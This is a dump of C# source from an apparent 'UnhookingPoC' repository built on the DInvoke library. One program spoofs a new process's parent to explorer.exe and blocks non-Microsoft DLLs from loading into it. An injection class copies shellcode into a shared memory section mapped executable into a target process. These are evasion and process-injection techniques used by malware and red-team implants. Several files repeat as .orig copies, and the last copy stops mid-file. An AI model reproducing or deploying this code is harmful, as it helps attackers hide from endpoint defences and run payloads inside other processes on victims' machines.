74 |
75 | // PPID Spoof
76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle;
77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size);
78 | Marshal.WriteIntPtr(lpValue, hParent);
79 |
80 | // Start Process
81 | funcParams = new object[]
82 | {
83 | si.lpAttributeList,
84 | (uint)0,
85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
86 | lpValue,
87 | (IntPtr)IntPtr.Size,
88 | IntPtr.Zero,
89 | IntPtr.Zero
90 | };
91 |
92 | Generic.DynamicAPIInvoke(
93 | "kernel32.dll",
94 | "UpdateProcThreadAttribute",
95 | typeof(UpdateProcThreadAttribute),
96 | ref funcParams,
97 | true);
98 |
99 | var pa = new Win32.SECURITY_ATTRIBUTES();
100 | var ta = new Win32.SECURITY_ATTRIBUTES();
101 | pa.nLength = Marshal.SizeOf(pa);
102 | ta.nLength = Marshal.SizeOf(ta);
103 |
104 | funcParams = new object[]
105 | {
106 | null,
107 | "notepad",
108 | pa,
109 | ta,
110 | false,
111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT,
112 | IntPtr.Zero,
113 | "C:\\Windows\\System32",
114 | si,
115 | null
116 | };
117 |
118 | Generic.DynamicAPIInvoke(
119 | "kernel32.dll",
120 | "CreateProcessA",
121 | typeof(CreateProcess),
122 | ref funcParams,
123 | true);
124 |
125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9];
126 |
127 | if (pi.hProcess != IntPtr.Zero)
128 | {
129 | Console.WriteLine($"Process ID: {pi.dwProcessId}");
130 | }
131 |
132 | }
133 | catch (Exception e)
134 | {
135 | Console.Error.WriteLine(e.Message);
136 | }
137 | finally
138 | {
139 | // Clean up
140 | var funcParams = new object[]
141 | {
142 | si.lpAttributeList
143 | };
144 |
145 | Generic.DynamicAPIInvoke(
146 | "kernel32.dll",
147 | "DeleteProcThreadAttributeList",
148 | typeof(DeleteProcThreadAttributeList),
149 | ref funcParams,
150 | true);
151 |
152 | Marshal.FreeHGlobal(si.lpAttributeList);
153 | Marshal.FreeHGlobal(lpValue);
154 | }
155 |
156 | }
157 |
158 | static bool Is64Bit
159 | {
160 | get
161 | {
162 | return IntPtr.Size == 8;
163 | }
164 | }
165 |
166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
167 | delegate bool InitializeProcThreadAttributeList(
168 | IntPtr lpAttributeList,
169 | int dwAttributeCount,
170 | int dwFlags,
171 | ref IntPtr lpSize);
172 |
173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
174 | delegate bool UpdateProcThreadAttribute(
175 | IntPtr lpAttributeList,
176 | uint dwFlags,
177 | IntPtr Attribute,
178 | IntPtr lpValue,
179 | IntPtr cbSize,
180 | IntPtr lpPreviousValue,
181 | IntPtr lpReturnSize);
182 |
183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
184 | delegate bool CreateProcess(
185 | string lpApplicationName,
186 | string lpCommandLine,
187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes,
188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes,
189 | bool bInheritHandles,
190 | Win32.CreationFlags dwCreationFlags,
191 | IntPtr lpEnvironment,
192 | string lpCurrentDirectory,
193 | ref Win32.STARTUPINFOEX lpStartupInfo,
194 | out Win32.PROCESS_INFORMATION lpProcessInformation);
195 |
196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
197 | delegate bool DeleteProcThreadAttributeList(
198 | IntPtr lpAttributeList);
199 | }
200 |
201 | class Win32
202 | {
203 | [StructLayout(LayoutKind.Sequential)]
204 | public struct PROCESS_INFORMATION
205 | {
206 | public IntPtr hProcess;
207 | public IntPtr hThread;
208 | public int dwProcessId;
209 | public int dwThreadId;
210 | }
211 |
212 | [StructLayout(LayoutKind.Sequential)]
213 | public struct STARTUPINFO
214 | {
215 | public uint cb;
216 | public IntPtr lpReserved;
217 | public IntPtr lpDesktop;
218 | public IntPtr lpTitle;
219 | public uint dwX;
220 | public uint dwY;
221 | public uint dwXSize;
222 | public uint dwYSize;
223 | public uint dwXCountChars;
224 | public uint dwYCountChars;
225 | public uint dwFillAttributes;
226 | public uint dwFlags;
227 | public ushort wShowWindow;
228 | public ushort cbReserved;
229 | public IntPtr lpReserved2;
230 | public IntPtr hStdInput;
231 | public IntPtr hStdOutput;
232 | public IntPtr hStdErr;
233 | }
234 |
235 | [StructLayout(LayoutKind.Sequential)]
236 | public struct STARTUPINFOEX
237 | {
238 | public STARTUPINFO StartupInfo;
239 | public IntPtr lpAttributeList;
240 | }
241 |
242 | [StructLayout(LayoutKind.Sequential)]
243 | public struct SECURITY_ATTRIBUTES
244 | {
245 | public int nLength;
246 | public IntPtr lpSecurityDescriptor;
247 | public int bInheritHandle;
248 | }
249 |
250 | [Flags]
251 | public enum ProcThreadAttribute : int
252 | {
253 | MITIGATION_POLICY = 0x20007,
254 | PARENT_PROCESS = 0x00020000
255 | }
256 |
257 | [Flags]
258 | public enum BinarySignaturePolicy : ulong
259 | {
260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
261 | }
262 |
263 | [Flags]
264 | public enum CreationFlags : uint
265 | {
266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000
267 | }
268 | }
269 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/DInvoke/overloadMapping.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Diagnostics;
4 |
5 | using DInvoke.DynamicInvoke;
6 |
7 | namespace ConsoleApp1
8 | {
9 | class Program
10 | {
11 | static void Mapping(string[] args)
12 | {
13 | var si = new Win32.STARTUPINFOEX();
14 | si.StartupInfo.cb = (uint)Marshal.SizeOf(si);
15 | si.StartupInfo.dwFlags = 0x00000001;
16 |
17 | var lpValue = Marshal.AllocHGlobal(IntPtr.Size);
18 |
19 | try
20 | {
21 | var funcParams = new object[] {
22 | IntPtr.Zero,
23 | 2,
24 | 0,
25 | IntPtr.Zero
26 | };
27 |
28 | Generic.DynamicAPIInvoke(
29 | "kernel32.dll",
30 | "InitializeProcThreadAttributeList",
31 | typeof(InitializeProcThreadAttributeList),
32 | ref funcParams,
33 | true);
34 |
35 | var lpSize = (IntPtr)funcParams[3];
36 | si.lpAttributeList = Marshal.AllocHGlobal(lpSize);
37 |
38 | funcParams[0] = si.lpAttributeList;
39 |
40 | Generic.DynamicAPIInvoke(
41 | "kernel32.dll",
42 | "InitializeProcThreadAttributeList",
43 | typeof(InitializeProcThreadAttributeList),
44 | ref funcParams,
45 | true);
46 |
47 | // BlockDLLs
48 | if (Is64Bit)
49 | {
50 | Marshal.WriteIntPtr(lpValue, new IntPtr((long)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON));
51 | }
52 | else
53 | {
54 | Marshal.WriteIntPtr(lpValue, new IntPtr(unchecked((uint)Win32.BinarySignaturePolicy.BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON)));
55 | }
56 |
57 | funcParams = new object[]
58 | {
59 | si.lpAttributeList,
60 | (uint)0,
61 | (IntPtr)Win32.ProcThreadAttribute.MITIGATION_POLICY,
62 | lpValue,
63 | (IntPtr)IntPtr.Size,
64 | IntPtr.Zero,
65 | IntPtr.Zero
66 | };
67 |
68 | Generic.DynamicAPIInvoke(
69 | "kernel32.dll",
70 | "UpdateProcThreadAttribute",
71 | typeof(UpdateProcThreadAttribute),
72 | ref funcParams,
73 | true);
74 |
75 | // PPID Spoof
76 | var hParent = Process.GetProcessesByName("explorer")[0].Handle;
77 | lpValue = Marshal.AllocHGlobal(IntPtr.Size);
78 | Marshal.WriteIntPtr(lpValue, hParent);
79 |
80 | // Start Process
81 | funcParams = new object[]
82 | {
83 | si.lpAttributeList,
84 | (uint)0,
85 | (IntPtr)Win32.ProcThreadAttribute.PARENT_PROCESS,
86 | lpValue,
87 | (IntPtr)IntPtr.Size,
88 | IntPtr.Zero,
89 | IntPtr.Zero
90 | };
91 |
92 | Generic.DynamicAPIInvoke(
93 | "kernel32.dll",
94 | "UpdateProcThreadAttribute",
95 | typeof(UpdateProcThreadAttribute),
96 | ref funcParams,
97 | true);
98 |
99 | var pa = new Win32.SECURITY_ATTRIBUTES();
100 | var ta = new Win32.SECURITY_ATTRIBUTES();
101 | pa.nLength = Marshal.SizeOf(pa);
102 | ta.nLength = Marshal.SizeOf(ta);
103 |
104 | funcParams = new object[]
105 | {
106 | null,
107 | "notepad",
108 | pa,
109 | ta,
110 | false,
111 | Win32.CreationFlags.EXTENDED_STARTUPINFO_PRESENT,
112 | IntPtr.Zero,
113 | "C:\\Windows\\System32",
114 | si,
115 | null
116 | };
117 |
118 | Generic.DynamicAPIInvoke(
119 | "kernel32.dll",
120 | "CreateProcessA",
121 | typeof(CreateProcess),
122 | ref funcParams,
123 | true);
124 |
125 | var pi = (Win32.PROCESS_INFORMATION)funcParams[9];
126 |
127 | if (pi.hProcess != IntPtr.Zero)
128 | {
129 | Console.WriteLine($"Process ID: {pi.dwProcessId}");
130 | }
131 |
132 | }
133 | catch (Exception e)
134 | {
135 | Console.Error.WriteLine(e.Message);
136 | }
137 | finally
138 | {
139 | // Clean up
140 | var funcParams = new object[]
141 | {
142 | si.lpAttributeList
143 | };
144 |
145 | Generic.DynamicAPIInvoke(
146 | "kernel32.dll",
147 | "DeleteProcThreadAttributeList",
148 | typeof(DeleteProcThreadAttributeList),
149 | ref funcParams,
150 | true);
151 |
152 | Marshal.FreeHGlobal(si.lpAttributeList);
153 | Marshal.FreeHGlobal(lpValue);
154 | }
155 |
156 | }
157 |
158 | static bool Is64Bit
159 | {
160 | get
161 | {
162 | return IntPtr.Size == 8;
163 | }
164 | }
165 |
166 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
167 | delegate bool InitializeProcThreadAttributeList(
168 | IntPtr lpAttributeList,
169 | int dwAttributeCount,
170 | int dwFlags,
171 | ref IntPtr lpSize);
172 |
173 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
174 | delegate bool UpdateProcThreadAttribute(
175 | IntPtr lpAttributeList,
176 | uint dwFlags,
177 | IntPtr Attribute,
178 | IntPtr lpValue,
179 | IntPtr cbSize,
180 | IntPtr lpPreviousValue,
181 | IntPtr lpReturnSize);
182 |
183 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
184 | delegate bool CreateProcess(
185 | string lpApplicationName,
186 | string lpCommandLine,
187 | ref Win32.SECURITY_ATTRIBUTES lpProcessAttributes,
188 | ref Win32.SECURITY_ATTRIBUTES lpThreadAttributes,
189 | bool bInheritHandles,
190 | Win32.CreationFlags dwCreationFlags,
191 | IntPtr lpEnvironment,
192 | string lpCurrentDirectory,
193 | ref Win32.STARTUPINFOEX lpStartupInfo,
194 | out Win32.PROCESS_INFORMATION lpProcessInformation);
195 |
196 | [UnmanagedFunctionPointer(CallingConvention.StdCall)]
197 | delegate bool DeleteProcThreadAttributeList(
198 | IntPtr lpAttributeList);
199 | }
200 |
201 | class Win32
202 | {
203 | [StructLayout(LayoutKind.Sequential)]
204 | public struct PROCESS_INFORMATION
205 | {
206 | public IntPtr hProcess;
207 | public IntPtr hThread;
208 | public int dwProcessId;
209 | public int dwThreadId;
210 | }
211 |
212 | [StructLayout(LayoutKind.Sequential)]
213 | public struct STARTUPINFO
214 | {
215 | public uint cb;
216 | public IntPtr lpReserved;
217 | public IntPtr lpDesktop;
218 | public IntPtr lpTitle;
219 | public uint dwX;
220 | public uint dwY;
221 | public uint dwXSize;
222 | public uint dwYSize;
223 | public uint dwXCountChars;
224 | public uint dwYCountChars;
225 | public uint dwFillAttributes;
226 | public uint dwFlags;
227 | public ushort wShowWindow;
228 | public ushort cbReserved;
229 | public IntPtr lpReserved2;
230 | public IntPtr hStdInput;
231 | public IntPtr hStdOutput;
232 | public IntPtr hStdErr;
233 | }
234 |
235 | [StructLayout(LayoutKind.Sequential)]
236 | public struct STARTUPINFOEX
237 | {
238 | public STARTUPINFO StartupInfo;
239 | public IntPtr lpAttributeList;
240 | }
241 |
242 | [StructLayout(LayoutKind.Sequential)]
243 | public struct SECURITY_ATTRIBUTES
244 | {
245 | public int nLength;
246 | public IntPtr lpSecurityDescriptor;
247 | public int bInheritHandle;
248 | }
249 |
250 | [Flags]
251 | public enum ProcThreadAttribute : int
252 | {
253 | MITIGATION_POLICY = 0x20007,
254 | PARENT_PROCESS = 0x00020000
255 | }
256 |
257 | [Flags]
258 | public enum BinarySignaturePolicy : ulong
259 | {
260 | BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON = 0x100000000000,
261 | }
262 |
263 | [Flags]
264 | public enum CreationFlags : uint
265 | {
266 | EXTENDED_STARTUPINFO_PRESENT = 0x00080000
267 | }
268 | }
269 | }
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Allocation.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for allocation techniques.
12 | ///
13 | public abstract class AllocationTechnique
14 | {
15 | // An array containing a set of PayloadType objects that are supported.
16 | protected Type[] supportedPayloads;
17 |
18 | ///
19 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
20 | ///
21 | /// The Wover (@TheRealWover)
22 | /// A payload.
23 | /// Whether or not the payload is of a supported type for this strategy.
24 | public abstract bool IsSupportedPayloadType(PayloadType Payload);
25 |
26 | ///
27 | /// Internal method for setting the supported payload types. Used in constructors.
28 | ///
29 | /// The Wover (@TheRealWover)
30 | internal abstract void DefineSupportedPayloadTypes();
31 |
32 | ///
33 | /// Allocate the payload to the target process at a specified address.
34 | ///
35 | /// The Wover (@TheRealWover)
36 | /// The payload to allocate to the target process.
37 | /// The target process.
38 | /// The address at which to allocate the payload in the target process.
39 | /// True when allocation was successful. Otherwise, throws relevant exceptions.
40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address)
41 | {
42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() };
43 |
44 | try
45 | {
46 | // Get delegate to the overload of Allocate that supports the type of payload passed in
47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
48 |
49 | // Dynamically invoke the appropriate Allocate overload
50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address });
51 | }
52 | // If there is no such method
53 | catch (ArgumentNullException)
54 | {
55 | throw new PayloadTypeNotSupported(Payload.GetType());
56 | }
57 | }
58 |
59 | ///
60 | /// Allocate the payload to the target process.
61 | ///
62 | /// The Wover (@TheRealWover)
63 | /// The payload to allocate to the target process.
64 | /// The target process.
65 | /// Base address of allocated memory within the target process's virtual memory space.
66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process)
67 | {
68 |
69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) };
70 |
71 | try
72 | {
73 | // Get delegate to the overload of Allocate that supports the type of payload passed in
74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
75 |
76 | // Dynamically invoke the appropriate Allocate overload
77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process });
78 | }
79 | // If there is no such method
80 | catch (ArgumentNullException)
81 | {
82 | throw new PayloadTypeNotSupported(Payload.GetType());
83 | }
84 | }
85 | }
86 |
87 | ///
88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections.
89 | ///
90 | public class SectionMapAlloc : AllocationTechnique
91 | {
92 | // Publically accessible options
93 |
94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT;
97 |
98 | ///
99 | /// Default constructor.
100 | ///
101 | public SectionMapAlloc()
102 | {
103 | DefineSupportedPayloadTypes();
104 | }
105 |
106 | ///
107 | /// Constructor allowing options as arguments.
108 | ///
109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT)
110 | {
111 | DefineSupportedPayloadTypes();
112 | localSectionPermissions = localPerms;
113 | remoteSectionPermissions = remotePerms;
114 | sectionAttributes = atts;
115 | }
116 |
117 | ///
118 | /// States whether the payload is supported.
119 | ///
120 | /// The Wover (@TheRealWover)
121 | /// Payload that will be allocated.
122 | ///
123 | public override bool IsSupportedPayloadType(PayloadType Payload)
124 | {
125 | return supportedPayloads.Contains(Payload.GetType());
126 | }
127 |
128 | ///
129 | /// Internal method for setting the supported payload types. Used in constructors.
130 | /// Update when new types of payloads are added.
131 | ///
132 | /// The Wover (@TheRealWover)
133 | internal override void DefineSupportedPayloadTypes()
134 | {
135 | //Defines the set of supported payload types.
136 | supportedPayloads = new Type[] {
137 | typeof(PICPayload)
138 | };
139 | }
140 |
141 | ///
142 | /// Allocate the payload to the target process. Handles unknown payload types.
143 | ///
144 | /// The Wover (@TheRealWover)
145 | /// The payload to allocate to the target process.
146 | /// The target process.
147 | /// Base address of allocated memory within the target process's virtual memory space.
148 | public override IntPtr Allocate(PayloadType Payload, Process Process)
149 | {
150 | if (!IsSupportedPayloadType(Payload))
151 | {
152 | throw new PayloadTypeNotSupported(Payload.GetType());
153 | }
154 | return Allocate(Payload, Process, IntPtr.Zero);
155 | }
156 |
157 | ///
158 | /// Allocate the payload in the target process.
159 | ///
160 | /// The Wover (@TheRealWover)
161 | /// The PIC payload to allocate to the target process.
162 | /// The target process.
163 | /// The preferred address at which to allocate the payload in the target process.
164 | /// Base address of allocated memory within the target process's virtual memory space.
165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
166 | {
167 | // Get a convenient handle for the target process.
168 | IntPtr procHandle = Process.Handle;
169 |
170 | // Create a section to hold our payload
171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);
172 |
173 | // Map a view of the section into our current process with RW permissions
174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));
176 |
177 | // Copy the shellcode to the local view
178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);
179 |
180 | // Now that we are done with the mapped view in our own process, unmap it
181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);
182 |
183 | // Now, map a view of the section to other process. It should already hold the payload.
184 |
185 | SectionDetails newDetails;
186 |
187 | if (PreferredAddress != IntPtr.Zero)
188 | {
189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
190 | // Refer to MSDN documentation on ZwMapViewOfSection for details.
191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
192 | }
193 | else
194 | {
195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
196 | }
197 | return newDetails.baseAddr;
198 | }
199 |
200 | ///
201 | /// Creates a new Section.
202 | ///
203 | /// The Wover (@TheRealWover)
204 | /// Max size of the Section.
205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT).
206 | ///
207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes)
208 | {
209 | // Create a pointer for the section handle
210 | IntPtr SectionHandle = new IntPtr();
211 | ulong maxSize = size;
212 |
213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
214 | ref SectionHandle,
215 | 0x10000000,
216 | IntPtr.Zero,
217 | ref maxSize,
218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE,
219 | allocationAttributes,
220 | IntPtr.Zero
221 | );
222 | // Perform error checking on the result
223 | if (result < 0)
224 | {
225 | return IntPtr.Zero;
226 | }
227 | return SectionHandle;
228 | }
229 |
230 | ///
231 | /// Maps a view of a section to the target process.
232 | ///
233 | /// The Wover (@TheRealWover)
234 | /// Handle the process that the section will be mapped to.
235 | /// Handle to the section.
236 | /// What permissions to use on the view.
237 | /// Optional parameter to specify the address of where to map the view.
238 | /// Size of the view to map. Must be smaller than the max Section size.
239 | /// A struct containing address and size of the mapped view.
240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData)
241 | {
242 | // Copied so that they may be passed by reference but the original value preserved
243 | IntPtr baseAddr = addr;
244 | ulong size = sizeData;
245 |
246 | uint disp = 2;
247 | uint alloc = 0;
248 |
249 | // Returns an NTSTATUS value
250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection(
251 | sectionHandle, procHandle,
252 | ref baseAddr,
253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero,
254 | ref size, disp, alloc,
255 | protection
256 | );
257 |
258 | // Create a struct to hold the results.
259 | SectionDetails details = new SectionDetails(baseAddr, sizeData);
260 |
261 | return details;
262 | }
263 |
264 |
265 | ///
266 | /// Holds the data returned from NtMapViewOfSection.
267 | ///
268 | public struct SectionDetails
269 | {
270 | public IntPtr baseAddr;
271 | public ulong size;
272 |
273 | public SectionDetails(IntPtr addr, ulong sizeData)
274 | {
275 | baseAddr = addr;
276 | size = sizeData;
277 | }
278 | }
279 |
280 | ///
281 | /// Unmaps a view of a section from a process.
282 | ///
283 | /// The Wover (@TheRealWover)
284 | /// Process to which the view has been mapped.
285 | /// Address of the view (relative to the target process)
286 | ///
287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr)
288 | {
289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr);
290 | }
291 | }
292 | }
293 |
--------------------------------------------------------------------------------
/UnhookingPoC/DInvoke/Injection/Allocation.cs.orig:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Linq;
3 | using System.Reflection;
4 | using System.Diagnostics;
5 |
6 | using DynamicInvoke = DInvoke.DynamicInvoke;
7 |
8 | namespace DInvoke.Injection
9 | {
10 | ///
11 | /// Base class for allocation techniques.
12 | ///
13 | public abstract class AllocationTechnique
14 | {
15 | // An array containing a set of PayloadType objects that are supported.
16 | protected Type[] supportedPayloads;
17 |
18 | ///
19 | /// Informs objects using this technique whether or not it supports the type of a particular payload.
20 | ///
21 | /// The Wover (@TheRealWover)
22 | /// A payload.
23 | /// Whether or not the payload is of a supported type for this strategy.
24 | public abstract bool IsSupportedPayloadType(PayloadType Payload);
25 |
26 | ///
27 | /// Internal method for setting the supported payload types. Used in constructors.
28 | ///
29 | /// The Wover (@TheRealWover)
30 | internal abstract void DefineSupportedPayloadTypes();
31 |
32 | ///
33 | /// Allocate the payload to the target process at a specified address.
34 | ///
35 | /// The Wover (@TheRealWover)
36 | /// The payload to allocate to the target process.
37 | /// The target process.
38 | /// The address at which to allocate the payload in the target process.
39 | /// True when allocation was successful. Otherwise, throws relevant exceptions.
40 | public virtual IntPtr Allocate(PayloadType Payload, Process Process, IntPtr Address)
41 | {
42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() };
43 |
44 | try
45 | {
46 | // Get delegate to the overload of Allocate that supports the type of payload passed in
47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
48 |
49 | // Dynamically invoke the appropriate Allocate overload
50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address });
51 | }
52 | // If there is no such method
53 | catch (ArgumentNullException)
54 | {
55 | throw new PayloadTypeNotSupported(Payload.GetType());
56 | }
57 | }
58 |
59 | ///
60 | /// Allocate the payload to the target process.
61 | ///
62 | /// The Wover (@TheRealWover)
63 | /// The payload to allocate to the target process.
64 | /// The target process.
65 | /// Base address of allocated memory within the target process's virtual memory space.
66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process)
67 | {
68 |
69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) };
70 |
71 | try
72 | {
73 | // Get delegate to the overload of Allocate that supports the type of payload passed in
74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype);
75 |
76 | // Dynamically invoke the appropriate Allocate overload
77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process });
78 | }
79 | // If there is no such method
80 | catch (ArgumentNullException)
81 | {
82 | throw new PayloadTypeNotSupported(Payload.GetType());
83 | }
84 | }
85 | }
86 |
87 | ///
88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections.
89 | ///
90 | public class SectionMapAlloc : AllocationTechnique
91 | {
92 | // Publically accessible options
93 |
94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE;
96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT;
97 |
98 | ///
99 | /// Default constructor.
100 | ///
101 | public SectionMapAlloc()
102 | {
103 | DefineSupportedPayloadTypes();
104 | }
105 |
106 | ///
107 | /// Constructor allowing options as arguments.
108 | ///
109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT)
110 | {
111 | DefineSupportedPayloadTypes();
112 | localSectionPermissions = localPerms;
113 | remoteSectionPermissions = remotePerms;
114 | sectionAttributes = atts;
115 | }
116 |
117 | ///
118 | /// States whether the payload is supported.
119 | ///
120 | /// The Wover (@TheRealWover)
121 | /// Payload that will be allocated.
122 | ///
123 | public override bool IsSupportedPayloadType(PayloadType Payload)
124 | {
125 | return supportedPayloads.Contains(Payload.GetType());
126 | }
127 |
128 | ///
129 | /// Internal method for setting the supported payload types. Used in constructors.
130 | /// Update when new types of payloads are added.
131 | ///
132 | /// The Wover (@TheRealWover)
133 | internal override void DefineSupportedPayloadTypes()
134 | {
135 | //Defines the set of supported payload types.
136 | supportedPayloads = new Type[] {
137 | typeof(PICPayload)
138 | };
139 | }
140 |
141 | ///
142 | /// Allocate the payload to the target process. Handles unknown payload types.
143 | ///
144 | /// The Wover (@TheRealWover)
145 | /// The payload to allocate to the target process.
146 | /// The target process.
147 | /// Base address of allocated memory within the target process's virtual memory space.
148 | public override IntPtr Allocate(PayloadType Payload, Process Process)
149 | {
150 | if (!IsSupportedPayloadType(Payload))
151 | {
152 | throw new PayloadTypeNotSupported(Payload.GetType());
153 | }
154 | return Allocate(Payload, Process, IntPtr.Zero);
155 | }
156 |
157 | ///
158 | /// Allocate the payload in the target process.
159 | ///
160 | /// The Wover (@TheRealWover)
161 | /// The PIC payload to allocate to the target process.
162 | /// The target process.
163 | /// The preferred address at which to allocate the payload in the target process.
164 | /// Base address of allocated memory within the target process's virtual memory space.
165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress)
166 | {
167 | // Get a convenient handle for the target process.
168 | IntPtr procHandle = Process.Handle;
169 |
170 | // Create a section to hold our payload
171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes);
172 |
173 | // Map a view of the section into our current process with RW permissions
174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress,
175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length));
176 |
177 | // Copy the shellcode to the local view
178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length);
179 |
180 | // Now that we are done with the mapped view in our own process, unmap it
181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr);
182 |
183 | // Now, map a view of the section to other process. It should already hold the payload.
184 |
185 | SectionDetails newDetails;
186 |
187 | if (PreferredAddress != IntPtr.Zero)
188 | {
189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location.
190 | // Refer to MSDN documentation on ZwMapViewOfSection for details.
191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length);
192 | }
193 | else
194 | {
195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length);
196 | }
197 | return newDetails.baseAddr;
198 | }
199 |
200 | ///
201 | /// Creates a new Section.
202 | ///
203 | /// The Wover (@TheRealWover)
204 | /// Max size of the Section.
205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT).
206 | ///
207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes)
208 | {
209 | // Create a pointer for the section handle
210 | IntPtr SectionHandle = new IntPtr();
211 | ulong maxSize = size;
212 |
213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection(
214 | ref SectionHandle,
215 | 0x10000000,
216 | IntPtr.Zero,
217 | ref maxSize,
218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE,
219 | allocationAttributes,
220 | IntPtr.Zero
221 | );
222 | // Perform error checking on the result
223 | if (result < 0)
224 | {
225 | return IntPtr.Zero;
226 | }
227 | return SectionHandle;
228 | }
229 |
230 | ///
231 | /// Maps a view of a section to the target process.
232 | ///
233 | /// The Wover (@TheRealWover)
234 | /// Handle the process that the section will be mapped to.
235 | /// Handle to the section.
236 | /// What permissions to use on the view.
237 | /// Optional parameter to specify the address of where to map the view.
238 | /// Size of the view to map. Must be smaller than the max Section size.
239 | /// A struct containing address and size of the mapped view.
